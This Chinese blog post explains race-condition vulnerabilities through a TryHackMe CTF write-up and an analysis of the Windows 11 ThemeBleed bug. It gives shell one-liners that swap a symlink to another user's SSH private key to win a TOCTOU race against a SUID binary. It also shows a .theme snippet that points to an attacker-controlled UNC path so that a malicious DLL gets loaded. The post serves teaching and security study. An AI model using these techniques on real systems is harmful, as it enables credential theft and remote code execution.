文件中有趣的条件竞争漏洞

文件中有趣的条件竞争漏洞

前言

条件竞争(Race Condition)是一种经常出现于并发编程中的问题,发生在多个进程或线程并行执行时,它们对共享资源的访问和修改没有适当的同步机制。简而言之,当程序的行为依赖于执行顺序,而这个顺序在不同的运行中可能会变化时,就会产生条件竞争。

在这里,带来TryHackMe近期的挑战房间中的条件竞争提权,以及过去与它相似的windows11 theme主题RCE漏洞themebleed

BreakMe

在这个渗透测试挑战中的横向移动环节中有一个相当有趣的点

在这里插入图片描述

.ssh目录下有id_rsa,readfile拥有youcef的suid,虽然readfile.c不可读,通过ida反编译我们能够得到大概的代码,为了更加清晰我们选择事后root后读取源码

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp) {

    int n;
    char buf[1024];
    struct stat lstat_buf;

    if (argc != 2) {
        puts("Usage: ./readfile <FILE>");
        return 1;
    }else if(access(argv[1],F_OK)){
	puts("File Not Found");
	return 1;
    }else if(getuid()!=1002){
	puts("You can't run this program");
	return 1;
    }

    char *flag = strstr(argv[1], "flag");
    char *id_rsa = strstr(argv[1], "id_rsa");
    lstat(argv[1], &lstat_buf);
    int symlink_check = (S_ISLNK(lstat_buf.st_mode));
    int res=access(argv[1],R_OK);

    if (flag || symlink_check || res==-1 || id_rsa) {
        puts("Nice try!");
        return 1;
    } else {
        puts("I guess you won!\n");
        int fd = open(argv[1], 0);
        assert(fd >= 0 && "Failed to open the file");
        while((n = read(fd, buf, 1024)) > 0 && write(1, buf, n) > 0);
    }
    
    return 0;
}

原有的代码中还包含sleep 0.8,我已经移除,但并不影响条件竞争的诞生,即便会使它的概率下降

我们看最关键的逻辑部分

  • 使用strstr函数检查文件名中是否包含“flag”或“id_rsa”
  • 使用 lstat获取文件状态信息,并检查文件是否是符号链接(S_ISLNK),如果是链接文件则禁止读取文件
  • 如果包含上述检查的文件名或是链接文件则禁止读取文件

事实上源码已经给了提示,那就是跟软链接有关。导致条件竞争的发生是 在获取文件名以及是否链接文件之后、if判断之前

我们以慢速的视角进入,当进行前两步操作后,我们迅速把我们想要读取的文件从正常文件修改为软链接,接着当if判断时,它会通过,因为内存中的变量值是我们修改前的状态,此时会去读取软链接中的文件,从而绕过正常判断

我们可以创建一个死循环反复创建和删除软链接并创建正常文件

while true;do ln -sf /home/youcef/.ssh/id_rsa ./test;rm ./test;touch ./test;done &

在这里插入图片描述

接着多次运行readfile进行条件竞争,让它读取./test文件

for i in {1..50};do /home/youcef/readfile ./test;done

这次运气挺不错,一轮中了两发

在这里插入图片描述

当readfile以正常文件获取状态后,在if判断前修改为了软链接文件,我们就能读取到我们想要的

Windows 11 RCE - themebleed

在过去的一个靶机历程中,themebleed被我用于获得服务器初始访问权限的方式,事实证明它也可在特定win11版本中被用于钓鱼,不过由于它是漏洞,只要修补便会失效

它的工作原理与上面的条件竞争有些相似

受害者通过双击运行.theme文件去调用版本999的.msstyle文件

[VisualStyles]
Path=\\attacker_ip\Aero.msstyles

当调用了版本999的.msstyle会发生什么

if ( return_val < 0 && (_WORD)version == 999 ) // !!! [2] special case for version 999
  {
	resource_size = 999;
	return_val = ReviseVersionIfNecessary(msstyles_path, 999, (int *)&resource_size); // !!! [3] call to `ReviseVersionIfNecessary`

当是999时,直接调用ReviseVersionIfNecessary函数验证xxx_vrf.dll签名,签名通过后,再次获取xxx_vrf.dll文件作为DLL加载并调用VerifyThemeVersion函数

得益于Windows UNC Path,它在这个漏洞中发挥巨大作用

关键点则在于,它的参数msstyles_path(.theme文件中的path)是UNC Path;换句话说,它会从UNC Path去读取xxx_vrf.dll,但问题是这个文件将会由攻击者操控

首先windows系统第一次通过UNC path获取xxx_vrf.dll文件,此时攻击者返回正常的xxx_vrf.dll使其通过签名

当签名通过后,windows系统第二次通过UNC path获取xxx_vrf.dll文件,此时攻击者返回恶意的dll文件使其在系统上被加载

themebleed.py源码

在这里插入图片描述

当是第二次获取vrf.dll时,则返回恶意dll回去,当恶意dll被加载,我们就能得到我们想要的东西

在这里插入图片描述

共同点

虽然前后两者由于本地网络导致过程速度上的巨大差异,但不难看出这两个都具有相似的条件竞争点:

  • 获取文件信息后,if判断前
  • 获取第一次vrf.dll验证dll签名后,获取第二次vrf.dll前
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值